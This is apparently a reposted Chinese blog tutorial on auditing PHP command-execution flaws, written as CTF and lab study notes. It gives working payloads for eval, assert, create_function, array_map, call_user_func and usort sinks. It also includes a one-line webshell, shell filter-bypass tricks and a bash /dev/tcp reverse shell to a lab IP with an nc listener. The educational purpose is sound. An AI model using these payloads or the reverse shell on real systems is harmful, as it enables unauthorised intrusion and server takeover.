博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
代码审计——命令执行
阅读量:3910 次
发布时间:2019-05-23

本文共 8597 字,大约阅读时间需要 28 分钟。

文章目录

前言

最近几天简单复习了代码审计中的命令执行,这篇为自我复现时的一些总结

一、代码执行的几种方式

1、${}执行代码

例:

在这里插入图片描述

2、eval

例:

";eval('system("whoami");');echo "
";eval('phpinfo();');?>

在这里插入图片描述

3、assert

(1)普通调用:

利用:http://x.x.x.x/xx.php?peak=phpinfo();http://x.x.x.x/xx.php?peak=system('whoami');

在这里插入图片描述

(2)动态调用:php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用

利用同上

4、preg_replace

例:

在这里插入图片描述

5、create_function()

定义:create_function (string $args,string $code)

$args 变量部分$code 方法代码部分这个匿名函数类似于function xx($args){
$code;}xx($args);

注:create_function函数第二个参数只能使用双引号或不使用任何符号,仅变量;第一个参数可使用单双引号,也可以为空,但不能不使用符号;另外,第一个参数使用双引号时,第二个参数不可有双引号

例,一个可以命令执行的代码

$func=create_function('$a',"echo $a");$func($a);#上面的匿名函数类似于下面这几行代码:function xx($a){
//创建一个函数xxecho $a; //需要代码块}xx($a); //执行函数#因为create_function函数的第二个参数是执行代码的#所以,pyload如下$a='phpinfo();';$func=create_function('$a',"echo $a");$func($a);

对比图:

在这里插入图片描述

在这里插入图片描述

第二幅图,浏览器展示:

在这里插入图片描述

一道CTF题目

";echo "==============================";echo "
";$f1 = create_function('$a',$str2);echo "
";echo "==============================";?>(1)遇到此类题目,可以将create_function函数以下方的形式进行构造payload:function xx($a){
$str2;}(2)整体代码就类似于:$id=$_GET['id'];$str2='echo '.$a.'test'.$id.";";echo $str2;echo "
";echo "==============================";echo "
";function xx($a){
echo .$a.'test'.$id.";";}echo "
";echo "==============================";?>(3)构造payload,进行拼接:?id=2;}phpinfo();/*#因为$=id=2;}phpinfo();/*#所以$str2=echo test2;}phpinfo();/*最后构造的函数如下:function xx($a){
echo test2;}phpinfo();/*;}?>闭合function函数,执行phpinfo();

在这里插入图片描述

像?id=2;}eval(system('whoami'));/*可以执行,并且system()后面可以不用分号,用分号反而报错;但是,一句话木马,url利用时?peak=system('whoami');,后面必须要分号,为啥呢?我们此时只需要记住,只要是源代码中现写或本来就存在的system语句,eval利用时不需要分号。例如eval(system('whoami'));反正只要使用GET、POST、REQUEST传参,使用变量利用时需要就需要分号

在这里插入图片描述

6、array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组

$a = $_GET['a'];$b = $_GET['b'];$array[0] = $b;$c = array_map($a,$array);//payload:?a=assert&b=system('whoami');   //分号可有可无

拼接详解

#payload:?a=assert&b=system('whoami');$a = $_GET['a'];//$a=assert$b = $_GET['b'];//$b=system('whoami');$array[0] = $b;//$array数组的第一个键的值为system('whoami');$c = array_map($a,$array);//$c=array_map(assert,$array)//因为array_map函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组,所以,array_map函数将assert函数作用到$array数组中的每个值上,又因为system('whoami');在$array数组中,所以,可以理解为使用assert函数执行$array数组的值并返回结果,这里也就是使用assert函数执行system('whoami');

效果如图:

在这里插入图片描述

7、call_user_func()/call_user_func_array()

1、call_user_func()

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed第一个参数callback是被调用的回调函数,其余参数是回调函数的参数。
function xx($a){
echo $a;}$b=call_user_func ('xx','test');echo $b;call_user_func相当于执行参数1的函数,也就是这里的xx,参数2是参数1函数的参数,也就是这里的$a注,call_user_func函数的参数不加单双引号会报错,但依旧输出结果,可以@不输出报错

在这里插入图片描述

也可以使用系统函数

//payload:?peak=system('whoami'); //最后的分号可有可无

例:

在这里插入图片描述
2、call_user_func_array()

call_user_func_array ( callable $callback , array $param_arr ) : mixed把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入(第二个参数需传入键值),和call_user_func()使用方法类似

也可使用系统函数

//payoad:?peak=system('whoami');

例:

在这里插入图片描述

8、array_filter()

学习这个先要知道&除了是逻辑运算符,还是一个位运算符

例:3&1,就是3和1分别进行二进制的与运算,最后返回的值再转换为10进制
只有当2个数对应的位都为1,该位运算结果为1,否则运算结果为0。即:1&1=1;1&0=0;0&0=0

array_filter (array $array [,callable $callback [,int $flag=0]]):arrayarray要循环的数组callback使用的回调函数如果没有提供 callback 函数, 将删除 array 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。flag决定callback接收的参数形式:ARRAY_FILTER_USE_KEY - callback接受键名作为的唯一参数ARRAY_FILTER_USE_BOTH - callback同时接受键名和键值

array_filter() 函数用回调函数过滤数组中的元素。

该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。
在线进制转换:

/*a的二进制:011000011的二进制:00000001进行与运算的二进制结果:00000001二进制转10进制结果:1所以a&1为1,综上,b&1为0,2&1为0,3&1为1,4&1为0但是他最后输出的却是:Array ( [3] => 3 )由此可见,大致推断出,php使用&符号进行与运算时,只要有非数字字符串参加,其运算的结果都为0*/

示例:

在这里插入图片描述

漏洞示例:

$array[0] = $_GET['a'];array_filter($array,'assert');//将数组中的每个键值传给回调函数(回调函数就是一种说法,不用管他),也就是assert//如果回调函数返回true,这里也就是如果assert成功执行,返回true,则把成功的结果返回//true的原数组的值重新返还到原数组的对应键名下(这边也就是第0位)//payload:?a=system('whoami');  //分号可有可无

payload示例:

在这里插入图片描述

9、usort()/uasort()

(1)定义:usort() 使用用户自定义的比较函数对数组进行排序(2)语法:usort(array,myfunction);参数			描述array		必需。规定要排序的数组。myfunction	可选。一个定义了可调用比较函数的字符串。如果第一个参数 <, =, > 第二个参数,相应地比较函数必须返回一个 <, =, > 0 的整数。

这里你就理解为array的值使用myfunction参数执行

漏洞举例:

//payload:id[]=phpinfo()&id[]=xxx//注:使用该payload需要php版本大于等于7.0.12

在这里插入图片描述

$GET在php5.6中引入了新特性。即可以将数组展开成参数的形式,这是什么意思呢?就是在调用函数的时候,使用…运算符, 将数组和可遍历对象展开为函数参数,在usort中,理解为白话的意思就是,可将传入的array数组,变为myfunction函数的参数。

官方文档可参考:
漏洞举例:

//payload:?1[]=22&1[]=phpinfo();&2=assert//注;使用该payload,需要php版本为5.6.27//7.0.12版本payload需要稍作修改:?1[]=phpinfo();&1[]=xx&2=assert//7.0.12版本往上不可用这些payload

在这里插入图片描述

在这里插入图片描述

那php5.6.27版本以下的怎么用usort,进行命令执行呢?

highlight_file(__FILE__);usort($_GET,'assert');//payload:?1=1&2=phpinfo();//注:这里仅限php5.4.45版本

在这里插入图片描述

注:uasort()用法和usort用法相同,只需要将函数名修改一下即可

二、常见命令执行的函数

1、system()

  • 介绍:执行外部程序,并且显示输出

  • 说明

system( string $command[, int &$return_var] ) : string

同 C 版本的 system() 函数一样,本函数执行 command 参数所指定的命令,并且输出执行结果。

如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存。
该函数执行后,直接在终端窗口打印命令执行的结果
如果要获取一个命令未经任何处理的原始输出,请使用 passthru() 函数。

  • 参数
    command
    要执行的命令。
    return_var
    如果提供 return_var 参数,则外部命令执行后的返回状态将会被设置到此变量中。
  • 返回值
    成功则返回命令输出的最后一行,失败则返回 FALSE
';system('whoami');?>

在这里插入图片描述

2、passthru()

介绍:执行外部程序并且显示原始输出

  • 说明
passthru( string $command[, int &$return_var] ) : void

同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。当所执行的 Unix 命令输出二进制数据,并且需要直接传送到浏览器的时候,需要用此函数来替代 exec() 或 system() 函数。常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。通过设置 Content-type 为 image/gif,然后调用 pbmplus 程序输出 gif 文件,就可以从 PHP 脚本中直接输出图像到浏览器。

  • 参数
    command
    要执行的命令。
    return_var
    如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。
  • 返回值
    没有返回值。
';passthru('whoami');?>

在这里插入图片描述

3、exec()

  • 介绍:执行一个外部程序
  • 说明
exec( string $command[, array &$output[, int &$return_var]] ) : stringexec() 执行 command 参数所指定的命令。
  • 参数
    command
    要执行的命令。
    output
    如果提供了 output 参数,那么会用命令执行的输出填充此数组,每行输出填充数组中的一个元素。数组中的数据不包含行尾的空白字符,例如 \n 字符。请注意,如果数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容。如果你不想在数组末尾进行追加,请在传入 exec() 函数之前对数组使用 unset() 函数进行重置。
    return_var
    如果同时提供 output 和 return_var 参数,命令执行后的返回状态会被写入到此变量。
  • 返回值
    命令执行结果的最后一行内容。如果你需要获取未经处理的全部输出数据,请使用 passthru() 函数。
    如果想要获取命令的输出内容,请确保使用 output 参数。
  • 总结:执行系统命令,但它并不会自己输出,需要配合echo/print例:
';echo exec('ipconfig').'
';exec('ipconfig',$out);var_dump($out);?>

在这里插入图片描述

4、shell_exec()

  • 介绍:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
  • 说明
shell_exec( string $cmd) : string本函数同 执行操作符。
  • 参数
    cmd
    要执行的命令。
  • 返回值
    命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
  • Note
    当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 NULL,所以,使用本函数无法通过返回值检测进程是否成功执行。如果需要检查进程执行的退出码,请使用 exec() 函数。
  • 总结:该函数也可执行系统命令,同exec()函数一样,需要使用配合echo/print来输出显示内容
';echo shell_exec('ipconfig');?>

在这里插入图片描述

5、`反引号

与shell_exec函数的功能相同。

shell_exec其实是它的变体,使用方法和shell_exec一样,例:

';echo `whoami`.'
';echo `ipconfig`;?>

在这里插入图片描述

6、ob_start()

函数格式:ob_start(void)

说明:当缓冲区激活时,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区。为了输出缓冲区的内容,可以使用ob_end_flush()或flush()输出缓冲区的内容。

php代码使用ob_start,就会打开缓冲区,echo后面的字符不会输出到浏览器,而是保留在服务器,直到你使用flush或者ob_end_flush才会输出到浏览器

';ob_start("system");echo "ipconfig";//注1:该函数只会返回最后一行数据//注2:只能使用一次echo语句,使用两个会无法输出//注3:php版本需要小于等于5.6.27ob_end_flush();?>

在这里插入图片描述

三、代码执行绕过姿势

注:这里的1.txt内容为12.txt内容为2shell.php内容为

1、空格

在bash中,可以使用以下字符代替空格<${
IFS}$IFS$9%09

例:

cat

%09是在url中利用

例:假设目标存在一句话,但过滤了空格
一句话:<?php @eval($_REQUEST[peak]);?>
payload:http://x.x.x.x/xx.php?peak=system('cat%09/flag.txt');
在这里插入图片描述

2、命令终止符

%00

%20#

3、命令分隔符

(1);

在shell中,分号表示连续执行命令
例:

cat 1.txt;cat 2.txt

在这里插入图片描述

(2)&
在Linux中,命令之后加上&,表示该命令以后台方式执行。其中[1]表示后台任务的标识,后面的数字表明后台执行的任务的PID,所以第一个命令在shell中以后台方式运行
例:

cat 1.txt&cat 2.txt

在这里插入图片描述

(3)&&
前面的命令执行成功了,再执行后面的;前面的不成功,不执行后面的
例:

cat 1.txt&&cat 2.txtcat 3.txt&&cat 2.txtcat 2.txt&&cat 3.txt

在这里插入图片描述

(4)|

管道符左边命令的输出作为管道符右边命令的输入,因此左边的命令不显示,右边的显示
例:

cat 1.txt|cat 2.txt

在这里插入图片描述

(5)||
前面一个命令执行失败,再执行后面;前面成功,不执行后面
例:

cat 1.txt||cat 3.txtcat 3.txt||cat 2.txtcat 1.txt||cat 2.txt

在这里插入图片描述

(6)%0a/%0d
只执行%0a/%0d后面的命令
例:

cat 1.txt%0acat 2.txtcat 1.txt%0dcat 2.txt

在这里插入图片描述

4、敏感字符绕过(cat)

(1)变量绕过

payload:http://x.x.x.x/shell.php?peak=system('a=ca;b=t;$a$b%09/flag.txt');

在这里插入图片描述

(2)base64编码绕过

payload:先在linux中base64编码:echo 'cat' | base64输出结果为:Y2F0Cg==echo "Y2F0Cg==" | base64 -d输出的结果为:cat
再解码利用(这里输出的cat作为):http://192.168.100.141/shell.php?peak=system('`echo "Y2F0Cg==" | base64 -d`%09/flag.txt');

在这里插入图片描述

(3)命令后面可以添加未定义的初始化变量执行命令(未定义的初始化变量就是$xx$后面随意值)
例:

cat$xx 1.txtcat$peak 1.txt

在这里插入图片描述

(4)连接符’’
例:

cat 1.t'x't

在这里插入图片描述

(5)将一个命令结果导入到文件中
例:

示例1:1>1或a>1	##创建文件名为1的空文件ls>1		##把ls的内容导入1文件中			##cat 1可以看到ls的内容,里面的内容默认追加\n示例2:cat 2.txt>22;cat 22  //这样也可以看到2.txt的内容

在这里插入图片描述

(6)网络地址转化为数字地址

转换网址:

例:

127.0.0.1转换为2130706433

在这里插入图片描述

5、无回显命令执行

(1)使用延时函数

例:

ls|sleep 5

(2)使用http进行进行连接

  • 在攻击机上执行监听
nc -l -p 9999 -vvv

在这里插入图片描述

  • 在靶机上执行反弹shell
bash -i >& /dev/tcp/192.168.208.146/9999 0>&1

在这里插入图片描述

  • 此时攻击机会获取到目标ip的shell权限
    在这里插入图片描述

例题

目标www目录下有一个peak.php和flag.txt,假设flag.txt无法直接访问

", "0.0", $ip);shell_exec("ping".$ip);?>

在这里插入图片描述

(1)绕过方法1:使用cp命令将flag.txt复制重命名为22.txt,然后访问22.txt

payload:http://192.168.208.153/peak.php?ping=127.0.0.1;cp flag.txt 22.txt

在这里插入图片描述

在这里插入图片描述

6、无字母命令执行

可以参考:

参考其他:

转载地址:http://ypwrn.baihongyu.com/

你可能感兴趣的文章
.Net 5性能改进
查看>>
InfluxDB 2.0 之Flux语法篇
查看>>
TensorFlow 2学习和工业CV领域应用 心得分享
查看>>
程序员过关斩将--真的可以用版本号的方式来保证MQ消费消息的幂等性?
查看>>
Java面试必问JVM调优,那.NET5呢?
查看>>
把 Console 部署成 Windows 服务,四种方式总有一款适合你!
查看>>
缓存一致性和跨服务器查询的数据异构解决方案canal
查看>>
BeetleX之Websocket服务使用
查看>>
【源码】常用的人脸识别数据库以及上篇性别识别源码
查看>>
深入探究ASP.NET Core Startup的初始化
查看>>
跟我一起学Redis之Redis配置文件啃了一遍之后,从尴尬变得有底气了(总结了一张思维图)...
查看>>
一路踩坑,被迫聊聊 C# 代码调试技巧和远程调试
查看>>
IdentityServer4系列 | 资源密码凭证模式
查看>>
TIOBE 11 月榜单:Python 挤掉 Java,Java的下跌趋势确立了?
查看>>
C#实现观察者模式
查看>>
使用Azure静态Web应用部署Blazor Webassembly应用
查看>>
Win10 Terminal + WSL 2 安装配置指南,精致开发体验
查看>>
Xamarin 从零开始部署 iOS 上的 Walterlv.CloudKeyboard 应用
查看>>
【招聘(西安)】深圳市中兴云服务有限公司.NET工程师
查看>>
注意.NET Core进行请求转发问题
查看>>